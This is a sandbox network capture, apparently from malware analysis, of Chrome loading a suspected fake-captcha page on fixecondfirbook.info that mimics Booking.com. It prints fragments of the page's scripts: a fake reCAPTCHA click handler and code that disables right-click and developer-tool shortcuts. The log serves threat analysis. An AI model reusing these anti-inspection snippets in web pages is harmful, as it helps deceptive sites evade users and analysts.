2025-01-16 16:20:01 UTC	402	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 72 65 76 65 72 74 4c 61 6e 67 75 61 67 65 43 68 61 6e 67 65 28 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6c 61 6e 67 20 21 3d 3d 20 6f 72 69 67 69 6e 61 6c 4c 61 6e 67 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6c 61 6e 67 20 3d 20 6f 72 69 67 69 6e 61 6c 4c 61 6e 67 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 0a 0a 20 20 20 20 63 6f 6e 73 74 20 6f 72 69 67 69 6e 61 6c 4c 61 6e 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6c 61 6e 67 3b 0a 0a 20 20 20 20 63 6f 6e 73 74 Data Ascii: (function() { function revertLanguageChange() { if (document.documentElement.lang !== originalLang) { document.documentElement.lang = originalLang; } } const originalLang = document.documentElement.lang; const
2025-01-16 16:20:01 UTC	472	IN	Data Raw: 5d 20 7d 29 3b 0a 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6f 6e 74 65 78 74 6d 65 6e 75 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 20 20 20 20 7d 2c 20 66 61 6c 73 65 29 3b 0a 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6b 65 79 64 6f 77 6e 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 28 65 76 65 6e 74 2e 63 74 72 6c 4b 65 79 20 7c 7c 20 65 76 65 6e 74 2e 6d 65 74 61 4b 65 79 29 20 26 26 20 65 76 65 6e 74 2e 73 68 69 66 74 4b 65 79 20 26 26 20 65 76 65 6e 74 2e 6b 65 79 2e 74 6f Data Ascii: ] }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); }, false); document.addEventListener('keydown', function(event) { if ((event.ctrlKey \|\| event.metaKey) && event.shiftKey && event.key.to

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	61481	104.21.94.195	443	7368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:01 UTC	542	OUT	GET /captchaHandler.js HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://fixecondfirbook.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:01 UTC	961	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:20:01 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 586 Connection: close X-Powered-By: Express Cache-Control: public, max-age=14400 Last-Modified: Tue, 07 Jan 2025 11:10:38 GMT ETag: W/"24a-19440759fb0" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BNdIo1kK6uuc2BPw0m0K6NN9UD93F4LSMqSwSll9JwERUU46bLSve0itfgIR9CyL0udj91T95fBZyZ58msYB7j88bdDYtW311iwbJ4biAp96ceTAxAhC6tGT37Ep%2FYPJ4IIGY7WnmQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f6e36a9535776-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8141&min_rtt=8132&rtt_var=3056&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=1120&delivery_rate=359075&cwnd=32&unsent_bytes=0&cid=b1212fbfa6db1aa1&ts=355&x=0"
2025-01-16 16:20:01 UTC	408	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 63 6f 6e 73 74 20 72 65 63 61 70 74 63 68 61 43 68 65 63 6b 62 6f 78 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 2e 72 65 63 61 70 74 63 68 61 2d 63 68 65 63 6b 62 6f 78 27 29 3b 0a 20 20 20 20 69 66 20 28 72 65 63 61 70 74 63 68 61 43 68 65 63 6b 62 6f 78 29 20 7b 0a 20 20 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 43 68 65 63 6b 62 6f 78 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6c 69 63 6b 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 d0 9e d1 82 d0 bf d1 80 d0 b0 Data Ascii: document.addEventListener('DOMContentLoaded', function() { const recaptchaCheckbox = document.querySelector('.recaptcha-checkbox'); if (recaptchaCheckbox) { recaptchaCheckbox.addEventListener('click', function() { //
2025-01-16 16:20:01 UTC	178	IN	Data Raw: 20 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 6f 6b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 27 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 0a 7d 29 3b 20 0a Data Ascii: if (response.ok) { console.log(''); } else { console.error(''); } }); }); }});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	61487	104.21.94.195	443	7368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:02 UTC	361	OUT	GET /captchaHandler.js HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:02 UTC	962	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:20:02 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 586 Connection: close X-Powered-By: Express Cache-Control: public, max-age=14400 Last-Modified: Tue, 07 Jan 2025 11:10:38 GMT ETag: W/"24a-19440759fb0" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IWKeyHwRxRCpOosc7jzZj1V0ADQDirvvTHbjMvsORKUoVUzeQVs62jM4QVxutd%2BnSkInnNqVIa3YT1CLgC3vKkZSHIsF0KdZUx5tJjrUMb1Ka9nWAQDx%2Bca6Ag5SdmK6Ct2vili%2FcA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f6e3c0e08dda4-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7923&min_rtt=7920&rtt_var=2977&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=939&delivery_rate=367295&cwnd=32&unsent_bytes=0&cid=c2c5eeefd2968730&ts=294&x=0"
2025-01-16 16:20:02 UTC	407	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 63 6f 6e 73 74 20 72 65 63 61 70 74 63 68 61 43 68 65 63 6b 62 6f 78 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 2e 72 65 63 61 70 74 63 68 61 2d 63 68 65 63 6b 62 6f 78 27 29 3b 0a 20 20 20 20 69 66 20 28 72 65 63 61 70 74 63 68 61 43 68 65 63 6b 62 6f 78 29 20 7b 0a 20 20 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 43 68 65 63 6b 62 6f 78 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6c 69 63 6b 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 d0 9e d1 82 d0 bf d1 80 d0 b0 Data Ascii: document.addEventListener('DOMContentLoaded', function() { const recaptchaCheckbox = document.querySelector('.recaptcha-checkbox'); if (recaptchaCheckbox) { recaptchaCheckbox.addEventListener('click', function() { //
2025-01-16 16:20:02 UTC	179	IN	Data Raw: 20 20 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 6f 6b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 27 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 0a 7d 29 3b 20 0a Data Ascii: if (response.ok) { console.log(''); } else { console.error(''); } }); }); }});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	61488	104.21.94.195	443	7368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:02 UTC	361	OUT	GET /languageRevert.js HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:02 UTC	963	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:20:02 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 874 Connection: close X-Powered-By: Express Cache-Control: public, max-age=14400 Last-Modified: Tue, 07 Jan 2025 11:10:39 GMT ETag: W/"36a-1944075a398" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R5G3fVWhC0zCeH3%2Fui7Wgt56vGQeeZZ8aBIFMD%2FBltHP8ijWgP8OvfoFilE4B5fP61Gwc4ItpZPRMt8quKipxe5qCtFyootjrS1q707vHbwyOP26bZE09PsnuFG1h%2BcW8Z1VWk41Ug%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f6e3c6eed42fc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2111&min_rtt=1809&rtt_var=894&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2852&recv_bytes=939&delivery_rate=1614151&cwnd=195&unsent_bytes=0&cid=2be50213141fb6c1&ts=334&x=0"
2025-01-16 16:20:02 UTC	406	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 72 65 76 65 72 74 4c 61 6e 67 75 61 67 65 43 68 61 6e 67 65 28 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6c 61 6e 67 20 21 3d 3d 20 6f 72 69 67 69 6e 61 6c 4c 61 6e 67 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6c 61 6e 67 20 3d 20 6f 72 69 67 69 6e 61 6c 4c 61 6e 67 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 0a 0a 20 20 20 20 63 6f 6e 73 74 20 6f 72 69 67 69 6e 61 6c 4c 61 6e 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6c 61 6e 67 3b 0a 0a 20 20 20 20 63 6f 6e 73 74 Data Ascii: (function() { function revertLanguageChange() { if (document.documentElement.lang !== originalLang) { document.documentElement.lang = originalLang; } } const originalLang = document.documentElement.lang; const
2025-01-16 16:20:02 UTC	468	IN	Data Raw: 3b 0a 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6f 6e 74 65 78 74 6d 65 6e 75 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 20 20 20 20 7d 2c 20 66 61 6c 73 65 29 3b 0a 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6b 65 79 64 6f 77 6e 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 28 65 76 65 6e 74 2e 63 74 72 6c 4b 65 79 20 7c 7c 20 65 76 65 6e 74 2e 6d 65 74 61 4b 65 79 29 20 26 26 20 65 76 65 6e 74 2e 73 68 69 66 74 4b 65 79 20 26 26 20 65 76 65 6e 74 2e 6b 65 79 2e 74 6f 4c 6f 77 65 Data Ascii: ; document.addEventListener('contextmenu', function(event) { event.preventDefault(); }, false); document.addEventListener('keydown', function(event) { if ((event.ctrlKey \|\| event.metaKey) && event.shiftKey && event.key.toLowe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	61492	104.21.94.195	443	7368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:03 UTC	596	OUT	GET /favicon.ico HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fixecondfirbook.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:03 UTC	946	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:20:03 GMT Content-Type: image/x-icon Content-Length: 610 Connection: close X-Powered-By: Express Cache-Control: public, max-age=14400 Last-Modified: Tue, 07 Jan 2025 11:10:39 GMT ETag: W/"262-1944075a398" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zsji53f5NMpQkiT4MhpDGc1Q08oHOUOkzbBmn%2Bv95EN%2BWQHYE55H5jZOwkK4GDvbEc9RYiAq5%2Ff7OcZ%2FjywQdhpkPFA1axK6%2F5Q5p%2Bk2ZcmlUvku0oeb5Me9Y67lsaaD9bncXLLYbw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f6e3fff32aabc-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14793&min_rtt=14196&rtt_var=6518&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=1174&delivery_rate=153894&cwnd=32&unsent_bytes=0&cid=615aa5d58e7ba1ed&ts=679&x=0"
2025-01-16 16:20:03 UTC	423	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 02 29 49 44 41 54 58 85 d5 97 3f 4c 1a 61 18 c6 7f 77 31 b0 1c 82 c9 0d 12 13 4b 53 89 9d 5a 18 ba 68 4d 8c 5d a4 8b ba d0 c1 10 b1 63 5d ba 52 17 16 db b9 31 76 a3 68 4c 17 bb c0 74 53 5b 5b aa 8b 83 d0 cd 48 83 31 69 5d 18 6c 64 b1 21 b1 03 70 70 78 fc b9 e3 e0 d2 67 e3 7b 73 f7 fc ee 7d bf ef 21 9f 40 4d d3 5b e3 c0 2e 30 05 0c d1 1f 95 81 43 20 c2 c1 da 39 80 50 35 0f 03 1f fa 68 ac 07 b2 cc c1 da 9e 50 fd f2 9f 03 34 6f 84 b8 27 52 69 fb a0 cd a9 7a ee 8a 54 66 6e 97 a6 44 ec f9 fa 9a 86 ba 32 f7 79 5d f8 46 87 35 6b fb c7 bf ac 21 e8 c6 3c 9b 7c 86 5b 72 e8 d6 d3 99 02 f1 f7 47 64 4f 8b a6 00 c4 76 45 8f e4 24 f5 26 d4 d2 1c 60 61 e6 2e fb 9b 8b Data Ascii: PNGIHDR szz)IDATX?Law1KSZhM]c]R1vhLtS[[H1i]ld!ppxg{s}!@M[.0C 9P5hP4o'RizTfnD2y]F5k!<\|[rGdOvE$&`a.
2025-01-16 16:20:03 UTC	187	IN	Data Raw: 61 00 43 23 68 de 64 d9 d3 a2 a6 23 66 d2 b0 e7 3d e0 69 13 d3 01 bf dc 71 6f 98 fe 2b f6 48 4e a2 4f ef 6b a2 3a db 90 8c db eb 4f d4 13 b3 a3 9c 10 dd f8 a4 fb 1e 81 e9 ad 9b 56 26 b3 c1 31 be 6c 2e 74 0d b5 14 53 48 65 0a 00 dc 7c 7f a1 a9 05 57 f7 74 73 c2 b2 63 b8 a3 9c a8 e6 7a 6a 95 92 3d 03 a4 33 05 96 62 ca ad 16 af be ae 07 d3 db 8f 3f 38 bb b8 d2 7d be ed 08 06 21 cb 46 f0 5f 03 94 6d f4 2f 8b 54 ee 6a 76 e9 50 04 22 d8 d3 85 32 10 11 ab b7 d4 e5 01 43 d4 2e a7 e7 82 ba 64 d3 f5 fc 1f 98 86 a2 c4 41 31 cb af 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: aC#hd#f=iqo+HNOk:OV&1l.tSHe\|Wtsczj=3b?8}!F_m/TjvP"2C.dA1IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	61494	18.245.31.129	443	7368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:03 UTC	629	OUT	GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1 Host: q-xx.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fixecondfirbook.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:03 UTC	768	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 642 Connection: close Server: nginx Date: Mon, 06 Jan 2025 04:05:32 GMT Last-Modified: Mon, 07 Sep 2020 09:08:23 GMT ETag: "5f55f887-282" Expires: Wed, 05 Feb 2025 04:05:32 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * X-Cache: Hit from cloudfront Via: 1.1 74cd4e6bd806cc7209ac94e0173f5ac8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: xDNV9IayBfLCtxVvdXurUkPhcdeLKhMo1EW3YYnxFKyRVqHx5dg4bw== Age: 908071
2025-01-16 16:20:03 UTC	642	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 03 00 00 00 60 dc 09 b5 00 00 00 75 50 4c 54 45 b4 1f 30 3c 39 70 b4 1f 30 97 27 40 ff ff ff b4 1f 30 3c 3a 70 d0 73 7d 54 53 82 ec c7 cb e3 ab b1 61 5f 8b 48 46 79 6d 6b 94 49 46 79 be 3b 49 91 90 ae c2 c2 d2 79 78 9c 85 84 a6 48 47 79 9d 9c b7 aa a9 c0 b6 b5 c9 c7 57 64 f3 f3 f6 db da e4 ce cd db 96 26 40 e7 e7 ed 6d 6b 93 9e 9d b7 ce ce db a1 47 5e b5 b5 c9 9e 9c b8 c0 a4 b4 b7 87 9a ae 6c 81 d6 1f 19 b1 00 00 00 04 74 52 4e 53 df bf bf bf 3b 25 6a 12 00 00 01 b8 49 44 41 54 48 c7 8c d4 61 93 94 30 0c 06 60 d4 f5 35 9a 14 4b 69 41 38 d9 dd bb 53 ff ff 4f b4 79 b9 b9 ce c0 ce 68 3e 3c d3 81 09 34 a4 a1 fb f0 1f f1 e9 63 8b 0e 30 83 87 50 6d eb 76 e5 e7 e7 16 1d fa 69 10 bc 89 69 Data Ascii: PNGIHDR00`uPLTE0<9p0'@0<:ps}TSa_HFymkIFy;IyxHGyWd&@mkG^ltRNS;%jIDATHa0`5KiA8SOyh><4c0Pmvii

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	61505	104.21.94.195	443	7368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:04 UTC	355	OUT	GET /favicon.ico HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:04 UTC	946	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:20:04 GMT Content-Type: image/x-icon Content-Length: 610 Connection: close X-Powered-By: Express Cache-Control: public, max-age=14400 Last-Modified: Tue, 07 Jan 2025 11:10:39 GMT ETag: W/"262-1944075a398" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=THITlDtM1tOFY5IyS5VQi4MYYZ1kkNgHx0gc%2BQCES5EnED5%2BuR3HrnUnQVqPSGBrrh5F34X1a7TEtx%2B1enxUtV%2B32jBACSx%2BNJqMgKW%2BlWr3RuYTe2h%2Fiqb8A2wpsmQPh0TD9yycuQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f6e475adcc950-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13352&min_rtt=8205&rtt_var=6753&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=933&delivery_rate=355880&cwnd=32&unsent_bytes=0&cid=d1d8528781364dd2&ts=381&x=0"
2025-01-16 16:20:04 UTC	423	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 02 29 49 44 41 54 58 85 d5 97 3f 4c 1a 61 18 c6 7f 77 31 b0 1c 82 c9 0d 12 13 4b 53 89 9d 5a 18 ba 68 4d 8c 5d a4 8b ba d0 c1 10 b1 63 5d ba 52 17 16 db b9 31 76 a3 68 4c 17 bb c0 74 53 5b 5b aa 8b 83 d0 cd 48 83 31 69 5d 18 6c 64 b1 21 b1 03 70 70 78 fc b9 e3 e0 d2 67 e3 7b 73 f7 fc ee 7d bf ef 21 9f 40 4d d3 5b e3 c0 2e 30 05 0c d1 1f 95 81 43 20 c2 c1 da 39 80 50 35 0f 03 1f fa 68 ac 07 b2 cc c1 da 9e 50 fd f2 9f 03 34 6f 84 b8 27 52 69 fb a0 cd a9 7a ee 8a 54 66 6e 97 a6 44 ec f9 fa 9a 86 ba 32 f7 79 5d f8 46 87 35 6b fb c7 bf ac 21 e8 c6 3c 9b 7c 86 5b 72 e8 d6 d3 99 02 f1 f7 47 64 4f 8b a6 00 c4 76 45 8f e4 24 f5 26 d4 d2 1c 60 61 e6 2e fb 9b 8b Data Ascii: PNGIHDR szz)IDATX?Law1KSZhM]c]R1vhLtS[[H1i]ld!ppxg{s}!@M[.0C 9P5hP4o'RizTfnD2y]F5k!<\|[rGdOvE$&`a.
2025-01-16 16:20:04 UTC	187	IN	Data Raw: 61 00 43 23 68 de 64 d9 d3 a2 a6 23 66 d2 b0 e7 3d e0 69 13 d3 01 bf dc 71 6f 98 fe 2b f6 48 4e a2 4f ef 6b a2 3a db 90 8c db eb 4f d4 13 b3 a3 9c 10 dd f8 a4 fb 1e 81 e9 ad 9b 56 26 b3 c1 31 be 6c 2e 74 0d b5 14 53 48 65 0a 00 dc 7c 7f a1 a9 05 57 f7 74 73 c2 b2 63 b8 a3 9c a8 e6 7a 6a 95 92 3d 03 a4 33 05 96 62 ca ad 16 af be ae 07 d3 db 8f 3f 38 bb b8 d2 7d be ed 08 06 21 cb 46 f0 5f 03 94 6d f4 2f 8b 54 ee 6a 76 e9 50 04 22 d8 d3 85 32 10 11 ab b7 d4 e5 01 43 d4 2e a7 e7 82 ba 64 d3 f5 fc 1f 98 86 a2 c4 41 31 cb af 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: aC#hd#f=iqo+HNOk:OV&1l.tSHe\|Wtsczj=3b?8}!F_m/TjvP"2C.dA1IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	61503	18.245.31.129	443	7368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:04 UTC	389	OUT	GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1 Host: q-xx.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
